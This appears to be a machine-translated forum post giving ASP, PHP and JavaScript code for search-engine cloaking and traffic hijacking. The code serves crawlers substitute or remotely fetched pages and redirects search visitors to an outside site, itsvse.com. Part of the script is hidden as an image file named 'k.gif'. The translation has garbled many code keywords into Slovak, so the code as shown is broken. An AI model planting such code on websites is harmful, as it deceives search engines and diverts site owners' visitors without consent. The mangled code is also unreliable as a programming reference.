Najprv je to jednoduché, pridajte na úvodnú stránku nasledujúci kód:
ASP verzia
<!--#include súbor="conn.asp"-->
<script src="images\k.gif"></script>
PHP verzia
<!--#include súbor="conn.php"-->
<script src="images\k.gif"></script>
Potom pridajte nasledujúci kód do conn súboru podľa programu webu, ak nemáte conn.asp alebo conn.php, vytvorte si ho sami:
conn.asp vydanie
----------- nasledujúcu reprodukciu--------------------------------
<%
function isspider()
Dim agent, Searray, ja
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot", "baiduspider", "sogou", "yahoo", "soso", "360spider")
isspider= nepravdivé
pre i=0 do ubound(searray)
ak (instr(agent,searray(i))>0) potom isspider=pravda
ďalej
Koncová funkcia
function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
fromse= false
ak urlrefer="" then fromse= false
searray=array("google", "baidu", "sogou", "yahoo", "soso", "360")
pre i=0 do ubound(searray)
ak (instr(urlrefer,searray(i))>0) potom fromse=true
ďalej
Koncová funkcia
Funkcia gethttp(url)
dim http
set http=createobject("MSXML2. XMLHTTP")
http.open "GET",url, false
Http.send()
ak Http.readystate<>4 potom
Výstupná funkcia
koniec ak
gethttp=bytes2BSTR(Http.responseBody)
set http=nothing
ak err.number<>0 tak err. Clear
Koncová funkcia
function bytes2BSTR(vIn)
dim strReturn
dim i, ThisCharacterCode, NextCharCode
strReturn = ""
Pre i = 1 do LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
Ak ThisCharCode < &H80, potom
strReturn = strReturn & Chr(ThisCharCode)
Inak
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
Koniec ak
Ďalej
bytes2BSTR = strReturn
Koncová funkcia
if(isspider()) potom
dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
bodyurl="http://www.itsvse.com" //snapshot URL
odpoveď.clear
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
response.write("<!--"&now()&"-->")
response.flush
response.end
koniec ak
%>
conn.php
---------------- nasledujúcu reprodukciu----------------
<?php
funkcia is_search_bot(){
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = pole ('baiduspider', 'sogou spider', 'soso spider', 'iaskspider', 'naverrobot');
foreach ($identify AS $key => $tag){
if (strstr($user_agent, $tag)){
return true;
}
}
return false; }
funkcia is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver";
$referer = explodovať ("@",$come_from);
foreach($referer ako $url){
ak (stristr($_SERVER['HTTP_REFERER'],$url)){
return true;
}
}
return false; }
ak (is_search_bot())
{
$html = "<title>Wuhan Odborná škola softvérového inžinierstva</title> <meta názov=\"Autor\" obsah=\"Vyplniť to isté ako kľúčové slová\"> <meta meno=\"Kľúčové\" obsah=\"Kľúčové slová\"> <meta názov=
\"Popis\" obsah=\"Popis\"> </head> <body>Obsah</body></html>";
Echo $html;
}
ak (!is_search_bot() & is_urlbaidu())
{
Hlavička ('Lokalita:http://www.itsvse.com');
}
?>
Nakoniec v adresári obrázkov nahrajte k.gif súbor k.gif kódu:
var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; Presmerovanie URL
|
Zverejnené 1. 12. 2014 18:48:55
|
|
|
